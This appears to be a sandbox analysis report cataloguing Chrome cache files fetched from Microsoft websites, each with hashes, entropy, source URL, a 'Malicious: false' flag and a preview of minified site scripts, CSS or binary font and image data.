Preview:	'use strict';(()=>{function c(b){var a=e[b];if(void 0!==a)return a.exports;a=e[b]={exports:{}};return f[b](a,a.exports,c),a.exports}var f={6993:()=>{$(function(){$(".area-heading p a").each(function(b,a){b=$(a).closest("div.row").find("h1,h2,h3,h4,h5,h6");a.dataset.biCn=a.innerText;a.dataset.biEcn=a.innerText;a.dataset.biCompnm="Area Heading";a.dataset.biBhvr="0";a.dataset.biCt="Link";a.dataset.biPa="Body";b=b.first();b.text()&&""!==b.text()&&(a.dataset.biHn=b.text().trim(),a.dataset.biEhn=b.text().trim())});.document.querySelectorAll(".areaheading sup").forEach(function(b){0==b.children.length&&b.insertAdjacentHTML("afterbegin",'\x3cspan class\x3d"sr-text"\x3eFootnote\x3c/span\x3e')})})}},e={};c.n=b=>{var a=b&&b.__esModule?()=>b.default:()=>b;return c.d(a,{a}),a};c.d=(b,a)=>{for(var d in a)c.o(a,d)&&!c.o(b,d)&&Object.defineProperty(b,d,{enumerable:!0,get:a[d]})};c.o=(b,a)=>Object.prototype.hasOwnProperty.call(b,a);c(6993)})();

Chrome Cache Entry: 363

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 32600, version 1.0
Category:	downloaded
Size (bytes):	32600
Entropy (8bit):	7.992324478082099
Encrypted:	true
SSDEEP:	768:DUDXjrIMcH1YcS3IOrOm4VZcd1T5JQ62Fd:IXXjREcnNa6O
MD5:	8EDA29C1ACD384ABB917790DCD92A049
SHA1:	A77A4763CB132C02AD9D2EAE4652F470B66374C8
SHA-256:	E8ED064E3AD6789015C7C3031D57E1A412C80BE1B42D72D06B2631D80F3481BF
SHA-512:	CA8E12B8FA45E5315075CAC8B02A8CAD956341C2D047F126462A5B11E4F20118353ED66971C3901D40A6D4C1F782C1818D12B2E7E5DA30A08C66A75AF25A53DA
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/microsoft/clientlibs/clientlib-mwf-new/resources/fonts/MWFFluentIcons.woff2?v=2.15.1
Preview:	wOF2.......X......2...~.........................?FFTM..$.`..<........x.....6.$..h. ..X..t[..Q.<.......B.....H.C.".....&....?'A..&o.S..n...IE..U.RY@,..5.5zB....K.....rU.n.!.f.8...p.q>....;-_."......... ...PO.9.\|....o../.d...0...."0n.N.Kf.E:mvu.SH..R..ECT.U_!(.\.v..0.%.....6.4....Tv.9...T..H(.....<k]"p."...CG.f..B...9?%+.......r.:\z.)...t...[.Z.N._D..g.......^....2Xg...z1......ek8.L6W`.....F.j.U.......0......n..P...t...W..;.0 ..C.$.R.v..mY.0.!.&.PZB.IH!!!@..F...B..B(..u......R..V.uT...,......z.wz^a.s........N{..EZ..(...Jw.'...."..2.(.f."...=.....R....D....".v..].^.5...M......k..j.J.y.I....5..9...R..a.U..S......mR..c.o.....L-S.<....X..d\$.DR...fw.n... .:..%x............y'...\|..rfAw.{.7...K..})..3.f.... S.~(...?U...H....b,:.....\|`..3 ..".Q..+.I&....AK.H...O.b../.\.......n.....#.....-"..A......00p.<$..!_....VG.....ds...BB4w.)C.t..F....#...x\|...\..Xu.T....N...?b....%.QQp.p..D..~....:.[.wQ..P.....{..........o_M...h\|%E.'t9M..w4._.Z..x..7. .t

Chrome Cache Entry: 364

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10933)
Category:	downloaded
Size (bytes):	10978
Entropy (8bit):	5.113898622156223
Encrypted:	false
SSDEEP:	192:fhsrAxRhWsJlXOeZTxB2Q3os25mPZT8u4wtVVAkhSOWzaVBmdcYZ:lJlvZTjv3os25mPF4wtbAkhSOWmjQc8
MD5:	81C98606FDCF5261F4626856A3A920A6
SHA1:	535E11D6D16FFC17316EFB6B1EA553335DE5F2A0
SHA-256:	6D774AED5BE6E9D53DB8DF5432FB7E6642E90BB1315F49E63FE6FF4340ECC156
SHA-512:	EE28BED0C8E277EDDECF0055AA8D3BF1FCE966E5352F2401C7E587487029282CDF9EBEAA6B1611992F4A331029EF708876331244C4A395047756D7F526F4C653
Malicious:	false
URL:	https://support.microsoft.com/js/Article.Main.min.js?v=bXdK7Vvm6dU9uN9UMvt-ZkLpC7ExX0nmP-b_Q0DswVY
Preview:	!function(){"use strict";var t="click",e="ocHidden",n="supCardControlCarouselDisabledButton",o=".supCardControlCarouselPrevButton",i=".supCardControlCarouselNextButton",r="".concat(o,", ").concat(i);function a(t,e){$(t).children(r).toggleClass(n,!e)}var s=".supCardControlContainer",l=".supCardControlCard",c=".heroCardControlCard";function u(){var t=this.querySelector("div.videoContainer");if(t){var e=t.querySelector("div.supCardControlImageContainer");e&&e.addEventListener("click",(function(){var e=t.querySelector("div.cardControlCarouselVideoArea");if(e){var n=e.querySelector("universal-media-player");n&&(e.removeAttribute("hidden"),n.play())}}))}}function d(t){$(t).on("setPosition",(function(t,e){var n,o=e.$dots;(null===(n=e.options)\|\|void 0===n?void 0:n.slidesToShow)<e.slideCount?o.show():o.hide()}))}function h(t,e){t&&(t.style.backgroundImage=""===e?"none":"url(".concat(e,")"),t.classList.add("heroCarouselSection"))}function f(t,e,n){var o=t.find(n);if(o.length){var i="focus"===e.t

Chrome Cache Entry: 365

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 17287
Category:	dropped
Size (bytes):	6055
Entropy (8bit):	7.966934270467373
Encrypted:	false
SSDEEP:	96:GHUxQnaz1UazlzpvapSSzZ2hFwU+bs0HZA4JZdXfSsNL8auoG7ViXi6PrMwh:kUxQK3OeirZPJbfNDuogViiWMwh
MD5:	C128AFC0782F53B4546EFE3DFAB2AD80
SHA1:	5755CCE8610D52DB145BA911012075908C75F470
SHA-256:	22D3B4777561CA881CCB078D997BB4C055261C36D04B55391DAF755F83DDB666
SHA-512:	798AAE61D7C0A903DD959D98D10E901FC92E3BCF4BC16BEE40F4DD4BE13A78EFD5290876F716307DFB42E170BEA48DE55491F2B0F3EA515A2DE98CC319B5A55C
Malicious:	false
Preview:	...........;k{.8.........$ew...../]..Zn[..m9q..Y..eC.o?3#...x....G.h47..h..e.......Y....<.`/.\|.].y......%...a,.j...d._..8^0........di..hc/..6p.P.i(...Y..p...,K..R.....E...X'u.H.).}...?x.6....!..<)..#$...=F.qdn.6Km....9.+..4.w..i8....F(.8ev........b.....{...<.....{;...,.OyZ:c^.%.....!.X.\|c.Oo1.>.$Q{........^:O.$..c!...E\.c..m.).....T....=x.....%oL..@ 3..D...u:.........S6E.sP.....;rFW4..#.....\n.4.......)._..9.....+..'1...\.x.....e/6_.?....C..(..`.'..37.....F/..':y.{X-)`................Xn.....V..sb-`..0".}`.X..-.A.Tt.......3...e...K[\|...`$.(.M.....G.K.'...+/........bi.c.?..^Im..{=!L.]]./.3... .......P...Cg.O...W.`.v`YC..WP.r.P...I.....@M.;Q....M.B..6../.%(.S.....'a.jiV.y....W........2`e^....?..D.a.ToE......D.R.4X.#~P..!JQ....\|.[6.....c@X...!i.Xc.a...#@..8.......r...`.WlFT.f8.x7.%.+k...O..9.{......j.MY9...;).=GC.........r."...o.xH........Ox.5./5.....846N...64..x....!._.!.k..2.`...L..._. ....]Hqypt.0.W.h..X2.K..Yc.6.-......Ji.v....

Chrome Cache Entry: 366

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65398)
Category:	downloaded
Size (bytes):	149977
Entropy (8bit):	5.425465014322962
Encrypted:	false
SSDEEP:	3072:ds2R7b4i2VvQ8jDNbSDU6ez/4/fOmToUJdupe:dvJ26Dkw/LT9JduY
MD5:	107489D1ED6BE77BFD69EBE4D7B52B6D
SHA1:	FD56DF206A1DD0223D6D18ADAC841582282A346E
SHA-256:	3BBC0000E28054DDBE38B2E7A21DCA8D66FDA56EA48448BCE4658BC6B518A970
SHA-512:	51C5F6D9D7D10D06777ADE20C7E63CBFA354B830B68D32FEDE4B93C15D80873C501C0CCC4D006FD58C639662D2DCBBA193B61427D30F8938EDA4B9049743BC65
Malicious:	false
URL:	https://support.microsoft.com/lib/oneds/dist/ms.analytics-web-4.0.2.min.js?v=O7wAAOKAVN2-OLLnoh3KjWb9pW6khEi85GWLxrUYqXA
Preview:	/!. 1DS JS SDK Analytics Web, 4.0.2. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,n){var t="undefined";if("object"==typeof exports&&typeof module!=t)n(exports);else if("function"==typeof define&&define.amd)define(["exports"],n);else{var r,i,e=typeof globalThis!=t?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_analytics_web_4_0_2={},s="4.0.2",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},g=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},p=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),n(a),a)r="x",f[i]=a[i],g[i]=s,typeof d[i]==t?(r="n",(d[i]=a[i])&&(p[i]=s)):p[i]\|\|(p[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(t){"use strict";var o="object",ye="undefined",c="prototype",u=Object,s=u[c],$=undefined,y=null,l="",f="boolean",d="function",g="number",v="object",m="prototype",T="__proto__",b="string",I="undefined",C="constructor",N="Symbol",S="_polyfill",w="indexOf",P="length",A="done",_="value",D="name",O="sl

Chrome Cache Entry: 367

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 64x64, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	dropped
Size (bytes):	892
Entropy (8bit):	7.678201668623886
Encrypted:	false
SSDEEP:	24:70AtPJd33g4VHZhmQn/H3Of9ZQFc0SOuM4Zt5oY5nsYqh:70AlJd33g2HZcKHm9kcq4yY5nsd
MD5:	B1959C6F2CD33522FD23A5DB28EBC596
SHA1:	13A4D867C5A29A00FF7767AB8FF136CE975C8275
SHA-256:	B0035B84E196DFBCE0D1857ECB94F2ED21649390FFB521F58C86FF29A6A9BE03
SHA-512:	EE8EC05864012FB1896162AA367A59F22FBB99C50667CDD34A6AA48397D1686A42CDEB0BE133F031EF4482CBB08823731D30BA3FC630F175A6396F035D582BDE
Malicious:	false
Preview:	RIFFt...WEBPVP8 h........@.@.>Q .D#.!....8....i4.....3.<.9.._....X.X.`?a.]....v.~.u.z.~.zQ.......o....w....WG.k.K`S........Ob_.T.V%rT..@k.G.2=..N..r..D...#..g......2..-B.4,.hhYiy..L.k........n_.j...K.YiP<qa......).....<.6./..m.9W...8....!..;ocU/...8a!..]..../.S.#.2Y..8A.)..U.&...c.....~.Fr^..k.gZii..?.V...O.)m...6.~..7..7Kw......b...wf..p.y...f....:.DF.w.(..]O.!.,[.W$+...0>..jk.5.H..gS.s..p.mt.fo/..Z...m.3<.(.P...w)....'..oe.F?.,.x...>o...#..fa...1.Nr..........jo.......&.H.g..`.n.z...p..o..mS(1....^../.R..A/..X.VY...A.......(.L,..N%...j.0.2.t.....d.......4.i."&..Y?.6{4....[.g.3.R.d.q.t.2...'.@O.+o.I.k....bmf..w.6nt..j.QG?......M.]..o......R..n.,...'.`.Db.0.T..V.)NU_..\o.2......#>......[.9..k..\|R.i(..S.1a...>m..>...I..<@{r. Nw4 =5#.K..!..M.X...<.Z...u7i......E%.......;..9.w...N....1YU...(^...D....M.(<..h...".o.... ."......e.....<......E....

Chrome Cache Entry: 368

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65398)
Category:	dropped
Size (bytes):	149977
Entropy (8bit):	5.425465014322962
Encrypted:	false
SSDEEP:	3072:ds2R7b4i2VvQ8jDNbSDU6ez/4/fOmToUJdupe:dvJ26Dkw/LT9JduY
MD5:	107489D1ED6BE77BFD69EBE4D7B52B6D
SHA1:	FD56DF206A1DD0223D6D18ADAC841582282A346E
SHA-256:	3BBC0000E28054DDBE38B2E7A21DCA8D66FDA56EA48448BCE4658BC6B518A970
SHA-512:	51C5F6D9D7D10D06777ADE20C7E63CBFA354B830B68D32FEDE4B93C15D80873C501C0CCC4D006FD58C639662D2DCBBA193B61427D30F8938EDA4B9049743BC65
Malicious:	false
Preview:	/!. 1DS JS SDK Analytics Web, 4.0.2. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,n){var t="undefined";if("object"==typeof exports&&typeof module!=t)n(exports);else if("function"==typeof define&&define.amd)define(["exports"],n);else{var r,i,e=typeof globalThis!=t?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_analytics_web_4_0_2={},s="4.0.2",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},g=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},p=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),n(a),a)r="x",f[i]=a[i],g[i]=s,typeof d[i]==t?(r="n",(d[i]=a[i])&&(p[i]=s)):p[i]\|\|(p[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(t){"use strict";var o="object",ye="undefined",c="prototype",u=Object,s=u[c],$=undefined,y=null,l="",f="boolean",d="function",g="number",v="object",m="prototype",T="__proto__",b="string",I="undefined",C="constructor",N="Symbol",S="_polyfill",w="indexOf",P="length",A="done",_="value",D="name",O="sl

Chrome Cache Entry: 369

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3164)
Category:	downloaded
Size (bytes):	34401
Entropy (8bit):	5.567515913811421
Encrypted:	false
SSDEEP:	768:xluaIaJW9ePBW/YfKbNckc0OFc0hLoSIbSZdfKGnRmSdgSJnsYXZeTnOki:XuioyA/7c0opLozb6RmCg6kTG
MD5:	5EE9E4E4E0A5FD39092E63D2D102B12B
SHA1:	1B66C81BD03006B327228854327C0FD3DF434BC2
SHA-256:	441B9F212CD322C6B039A2691F999EB2FAFC10FD645BCDB043A6DEE2DD052DA7
SHA-512:	3CA07A5D89931BCF6F0294C0727020A7FFE663487DB6ECC309FF69DDF59A0490BF85395E91241D40ED1DCF157C0784E6D6B53D8C92D52ED05823CCB6FBE1C470
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/microsoft/clientlibs/clientlib-httpclient.min.ACSHASH5ee9e4e4e0a5fd39092e63d2d102b12b.js
Preview:	'use strict';(()=>{function L(n){var r=T[n];if(void 0!==r)return r.exports;r=T[n]={exports:{}};return U[n](r,r.exports,L),r.exports}var U={3770:(n,r,h)=>{n.exports=h(2494).default},2494:(n,r,h)=>{function f(x){return!x.response&&!!x.code&&"ECONNABORTED"!==x.code&&(0,a.default)(x)}function g(x){return"ECONNABORTED"!==x.code&&(!x.response\|\|500<=x.response.status&&599>=x.response.status)}function p(x){return!!x.config&&g(x)&&-1!==t.indexOf(x.config.method)}function m(x){return f(x)\|\|p(x)}function k(){return 0}.function l(x){var H=x[A]\|\|{};return H.retryCount=H.retryCount\|\|0,x[A]=H,H}function u(x,H){x.interceptors.request.use(function(E){return l(E).lastRequestTime=Date.now(),E});x.interceptors.response.use(null,function(E){var v=E.config;if(!v)return Promise.reject(E);var I=Object.assign({},H,v[A]),P=I.retries;P=void 0===P?3:P;var J=I.retryCondition;J=void 0===J?m:J;var M=I.retryDelay;M=void 0===M?k:M;I=I.shouldResetTimeout;I=void 0!==I&&I;var Q=l(v);if(J(E)&&Q.retryCount<P){Q.retryCount+

Chrome Cache Entry: 370

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (45900)
Category:	downloaded
Size (bytes):	45963
Entropy (8bit):	5.396725281317118
Encrypted:	false
SSDEEP:	768:H/eCtKv79zpXXfoJLjtK8Dx1DieS3i8eqUvdX:W/vXQJJDD27W
MD5:	F00CFBA8F9859DFEFDFE90EA520C6FCF
SHA1:	B32E153588A287DE81050E327EB5BD7A90B04D99
SHA-256:	977CC9882BA50763333DF64E98D26BC3C60A15D6EFA4A2C1FE70579985EDDF84
SHA-512:	DA51FAB6D6A6B05A1730FB97656A496870FE1248616BC3F9DDBE101D1C189B6BEC7CAF63976418F88843AFA64763D25542787116FFE0E43E35BF3DCE61914DAB
Malicious:	false
URL:	https://support.microsoft.com/js/SilentSignInManager.Main.min.js?v=l3zJiCulB2MzPfZOmNJrw8YKFdbvpKLB_nBXmYXt34Q
Preview:	!function(){var t={8488:function(t,e,n){var r=n(2746);t.exports=r},3104:function(t,e,n){var r=n(7273);t.exports=r},6564:function(t,e,n){var r=n(2445),o=n(3478),i=n(7269),a=r.TypeError;t.exports=function(t){if(o(t))return t;throw a(i(t)+" is not a function")}},5719:function(t,e,n){var r=n(2445),o=n(3478),i=r.String,a=r.TypeError;t.exports=function(t){if("object"==typeof t\|\|o(t))return t;throw a("Can't set "+i(t)+" as a prototype")}},1313:function(t,e,n){var r=n(4486),o=n(6635),i=n(9783),a=r("unscopables"),u=Array.prototype;null==u[a]&&i.f(u,a,{configurable:!0,value:o(null)}),t.exports=function(t){u[a][t]=!0}},3855:function(t,e,n){var r=n(2445),o=n(7455),i=r.TypeError;t.exports=function(t,e){if(o(e,t))return t;throw i("Incorrect invocation")}},4482:function(t,e,n){var r=n(2445),o=n(3406),i=r.String,a=r.TypeError;t.exports=function(t){if(o(t))return t;throw a(i(t)+" is not an object")}},3410:function(t,e,n){"use strict";var r=n(2445),o=n(6981),i=n(5633),a=n(2048),u=n(7065),s=n(1977),c=n(9

Chrome Cache Entry: 371

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 594 x 332, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	17028
Entropy (8bit):	7.926562320564401
Encrypted:	false
SSDEEP:	384:7wixC+iG9rj5+kgbLPcAmxOkpJIhI9CvaMo05vCf9MRRLMk5K/jk:sifiG2tvXmxHbIhlo05KlGRaY
MD5:	DDCB4FCA39CCADCDF6C1FE2E1F717867
SHA1:	88238D53920F32AF37A802A5E6BFEEC3B1E6F75D
SHA-256:	097DF2DFA3781F1AEDB631C968D04D8152D7C7FA8E92BC91E233B3000E2F34BB
SHA-512:	316574E565EF67B97E13D0BF01CF4AFA8E0E9CF0748768CE4AE6BBB81352685A6E027EADBC083D2B632C412C950E65963E6EA98FE4CE7692C0AE0B6D956D3D37
Malicious:	false
URL:	https://support.content.office.net/en-us/media/a9241eee-a729-4513-97b4-5b87c381c21b.png
Preview:	.PNG........IHDR...R...L.......R.....pHYs...%...%.IR$.....sRGB.........gAMA......a...B.IDATx..Y.mWU.W.7.A.e.Z..H.R.F.......$!....iH..4...T@..{i.A.....M..... .XP6eaB..R% ...Bs.o.0N..w...Zkvk..j.>g.}.^...c.1O...?..K.I'..J..<.c..fX!..N.m5...!.O-.=....p/....B.m_..o..........7.{..............]..~...C.....J..g..bI.C.....@&.7.}...u.RYs.J_.P_..j.....J...%..}.{..)}o,....\|...2iil+1.n:.W.b.I@. ......q/........},...K.....b.35f.....@t.C.H..f.....X8...qXA5W\mG..78..E.Wjm..j.C.E.....L.!e...}..... .FKi......!........t.;.s:8.P....9...H@....I! ...lp....`...".#.... .d"......=eN.nNcMUu......=.l......a.@...KY...^.....D..........=..<%&..}...P.HK.CE...0...R1..r..#h.5...)....z.B.....7.DH....KE...ha)....Z.=........)bZH.X.._...)........HK.a.Pn.X1Eh.....o.B......k...2....`..v.O.=...]..Y.!..:R.:......G@jg.q.[b.....)].O.....jm...q.c..*...=B...\|.........%....x.Bc..[.....r.....4......R.}......R...6.I..W..!...8K...:..U.. .3ZH...t.e..f\.(...y>k+.AH"..K.GjI!....J.}...HK..&..%.

Chrome Cache Entry: 372

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (309), with no line terminators
Category:	dropped
Size (bytes):	309
Entropy (8bit):	4.971196656935236
Encrypted:	false
SSDEEP:	6:QuVtCiR2cIT53AM+64uT7nadCkq9KwhA6ONHSInadLb1wnzjCY1ee:jVtCyB4w1cWdYpAfVSVdLa8e
MD5:	D7106DB242C2B41F88A1B02418BEC7E2
SHA1:	7A445118F0B5712744AA4AED6889B28C1E7779F7
SHA-256:	044527A735B287BD84D2AE6D2D3B89C85B52C9750BB07E5AEF19FB8F28F0442B
SHA-512:	C493FBD6926006108E56E23BB204BFE59A7364ED6D2409B5B258D9EA6C060259E13A7E7A22021607F6EDD55EEA52C75DFE7FCF18BB76D6E539FBD763BF399185
Malicious:	false
Preview:	'use strict';var DynamicClientSideScriptHandler=function(){return{fetchScriptLink:function(b){var a=(a=document.querySelector('div[data-identifier\x3d"'+b+'"]'))?a.getAttribute("data-content"):null;null===a&&(a=(b=document.querySelector('meta[name\x3d"'+b+'"]'))?b.getAttribute("content"):null);return a}}}();

Chrome Cache Entry: 373

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	159
Entropy (8bit):	4.661188988961239
Encrypted:	false
SSDEEP:	3:agWqLss4aXD5R20gJYRnd7HtOx1L5HQhLIzseX5LxfYLk21:QqPXD5bDRd7H8L5whLzeJSI21
MD5:	C22EA5B46F3FCAD90DA0ABCC0A3F73D4
SHA1:	2DB789C63AFB63D98932D7B55907DC3508E318B4
SHA-256:	8334DAA260516BB896407461E5F10E8E3041B06C56846BBB9D3435C6E77513AD
SHA-512:	A0359F8C25DC40CEFFD14A41BA81794717B99DABE78CBF8A8678F3E3EC57F317388CA0DC55B1CC6AD2D6C13D2B3CAEB5A64527BB2C646ED2D93775437DA646F1
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/microsoft/components/structure/page/clientlibs/featurecontrol.min.ACSHASHc22ea5b46f3fcad90da0abcc0a3f73d4.js
Preview:	'use strict';function isFeatureEnabled(b){var a=document.getElementById("customFeatureControl").getAttribute("enabledFeatures");return null!=a&&a.includes(b)};

Chrome Cache Entry: 374

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (512)
Category:	downloaded
Size (bytes):	544
Entropy (8bit):	5.221040627274746
Encrypted:	false
SSDEEP:	12:Yz+uu8HDeNucEuKEZEuwdaXOVWMsk2lntX2F3/v2d7oyxCJNe:YauZStKa5nltX2Fvege
MD5:	383B23D12DF0D9265D7569A7102C2F96
SHA1:	B78FB17F58484F5CD29B3FE307936181E1B30B57
SHA-256:	BBF608E321107D6C4EEAF31A4A0EEB9DD8A9AB825F645FA963651688FD3D3914
SHA-512:	8CA27D482871CAFF41C2D86CA743F075ED97465C12624B1841396B423229A90AFB7E62211BB02DFC0211C45BBABFD12F82EFF8863E6FD3D176FCD99C84747F60
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/cascade.component.authoring/clientlibs/clientlib-greenid.min.ACSHASH383b23d12df0d9265d7569a7102c2f96.js
Preview:	'use strict';(function(){(function(b){var a=document.createElement("iframe");a.setAttribute("src","https://fpt.microsoft.com/tags?session_id\x3d"+b);a.style.width="100px";a.style.height="100px";a.style.cssText="display: none; color: rgb(0,0,0); float:left; position:absolute; top:-200px; left:-200px; border:0px";a.title="greenID";a.setAttribute("id","greenID");document.body.append(a)})(function(){return"10000000-1000-4000-8000-100000000000".replace(/[018]/g,b=>(b^crypto.getRandomValues(new Uint8Array(1))[0]&.15>>b/4).toString(16))}())})();

Chrome Cache Entry: 375

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 100x100, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	2832
Entropy (8bit):	7.92569260000134
Encrypted:	false
SSDEEP:	48:5vgIfLwwvMw0oRW3lJOef6SE771axbtO4SSlPuVmcW3lIMJUCfVA2WNwfUFzzrPL:mIfL7v0oRWHOUEn1aH/Ll5h3KMJUcjWN
MD5:	9F25C34D443324665BB679F0C9716FF0
SHA1:	6224748E3C5968F23CF4717A3FFDB797A609DBAA
SHA-256:	65CBC7C735A938DCD2F8C5F74090229DF93E974613E757B0920F63DAEF5E2989
SHA-512:	BCAC42EBEE72C4443E7BCAAF10F94A02F17F0B2E7560EF766A41B808FD9E5BDA55871C92001C6A04B39CF0EF46958A0DE6DC981D8A8B5E3170E32230A7233FF4
Malicious:	false
URL:	https://cdn-dynmedia-1.microsoft.com/is/image/microsoftcorp/Icon_NewsSocial_68x68?scl=1
Preview:	RIFF....WEBPVP8 .....'...d.d....%..W..9.%.+.O....O....W.S.....#.........px.~......W.....9.@.....g.....'.N.../.......f....@......B...g..........{;.o.........~..........g........`~.{.~.\|.....Rl.;w..T. ..nk6..P........=./.JZo...%..n..>q.,.6..z..oq...u62......A.J<.mC.zvJ,..#..?....M.......:.S..d.1..W...[...S..G......b...%...@.E..C.9..........f....}n..L......0I./B].1..q... ....-..U.....b.hZ..zL.M.m..m.\.3y..n.1(..V.C#..I....'..{3....QZ..........2O....y...\|.....^.e.l...0.......c...=.?~2.n8.e}#+..\|....4...h..d..m..".....v<..j.@M.Y.?'.=s...w.0T.mv.....Y...?....{.y......~.v.g......./.'.p.nA.k2..]..e..?cF..]...n..@._....SI.....l......X.L..N6.q....M.Q..U.s..6S..q..!.P.g.7.Nu.3.Av....luT.............]6..;c!.D."W..C9....B.p.......n>..y...s..@F.g..]rN]o..'..I...0.U...Ibv.J..........<0.N......g#.A].....>.>^......{.!2I...V.He....A.....U_qf..59.T...1.?..4f...`l.dl.....G.\|^........:..c...".. ....?......u.?.-...8zw..^Yc....y.7r[.&.;].{....,.H....M.._

Chrome Cache Entry: 376

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (590)
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	5.2304068952006615
Encrypted:	false
SSDEEP:	48:4435HDQ258U3JqVnCG/6YyTrkzRLj9tSRAE9P:hU25ZqVC6ByTrWRLjSRAE9P
MD5:	4CFFC2C9B55F8BDE649E0D2535A1EEBD
SHA1:	2AAF4DF1E02ED4F5BB48F00A7423F748BF544E0C
SHA-256:	7BB50A050792F761855CC330E0248D037B37DD68FD23FBB7DB8A7E8694F50A94
SHA-512:	599C87219B7E264CFF8E6951192C691E26DFFA88EFC607EDFE9205F1BB08DA28FD61B508FAE93652BE36BE1ADA57E50661490925B247A43C3EB7F24D8CA0C8D0
Malicious:	false
Preview:	'use strict';var experimentationAnalytics=function(){function g(a){return a&&0<a.length?!1:!0}function m(a){return Object.keys(a).map(function(b){return b+""+a[b]}).join("")}function n(a){var b=a.reduce(function(c,e){c[m(e)]=e;return c},{});return Object.keys(b).map(function(c){return b[c]})}function h(a){console.log("sendToVortex Call");a&&a.analytics&&f(a)}function k(a){return{actionType:"A",behavior:"12",content:JSON.stringify({}),pageTags:{tnta:a&&a.analytics?a.analytics.tnta:""}}}function l(a,.b){return{actionType:"A",behavior:"12",content:JSON.stringify({}),pageTags:{tnta:"",at_activity_name:a&&a.responseTokens[b]?a.responseTokens[b]["activity.name"]:"",at_exp_name:a&&a.responseTokens[b]?a.responseTokens[b]["experience.name"]:"",at_activity_id:a&&a.responseTokens[b]?a.responseTokens[b]["activity.id"]:"",at_exp_id:a&&a.responseTokens[b]?a.responseTokens[b]["experience.id"]:""}}}function f(a,b,c){b="number"===typeof b?b:25;c="number"===typeof c?c:200;var e=0;if(window.expAnalytics&

Chrome Cache Entry: 377

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	275
Entropy (8bit):	4.714732721492951
Encrypted:	false
SSDEEP:	6:DpAD0PVVdEkVaMJKrxKTyRNBVaMJKrhfQflfCGKTyRNhJ:yAthTJKcTaTJKlfQfFSTU
MD5:	6F506B608145FDF960C714FFC7198C16
SHA1:	BF71B0D1729D7D12ECD8DEB24C83B7B5ABC4F5EB
SHA-256:	2992C4F04057594405C063FE0A461E0101AFEB85330BFCF564FCE3D773D4A572
SHA-512:	1DB30D98BFA8BC70C94C44C0D10080536BA4BADA854207E236263D24329E95F857B93874A638850107EC0E4DC9C1F58DED791E2D94EE63F6FC969ED4D7D7295E
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/microsoft/components/content/lists/link-list/v1/link-list/clientlibs/site.min.ACSHASH6f506b608145fdf960c714ffc7198c16.css
Preview:	.popover-header-link-list{font-weight:600}..popover-cursor{cursor:pointer}.@media screen and (forced-colors:active){.link-list .img-fluid{filter:invert(1)}.}.@media screen and (forced-colors:active) and (prefers-color-scheme:light){.link-list .img-fluid{filter:invert(0.1)}.}

Chrome Cache Entry: 378

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2230), with no line terminators
Category:	downloaded
Size (bytes):	2230
Entropy (8bit):	5.1220413514345156
Encrypted:	false
SSDEEP:	48:UhdH51FtNZlLC1hdGKhhHH1FtNHt1h9hKhZS7zJRLkVbS01S0hSjSTMJcUSjSLpY:Q//JLCFGeV/ttD7rAc0MP+QuD+LpY
MD5:	4D56AF8ACF934242A6D0C2D5FD5785E1
SHA1:	9D58373C57C53221C4762B87BDC186F6E38384D0
SHA-256:	6F26F0CC605A8C789C557B2956CE78D147D5D2CC16D2F09B3A606306BCA3F4DE
SHA-512:	1ECA9E9FEF9757337739BC530C87AAA8B9209A14C16F570FC8041618274330E3649F6D0A7E9FA97DC45DC8BB8FDE61A18E06F98E8A48E7BC5F22D4D53CC217A3
Malicious:	false
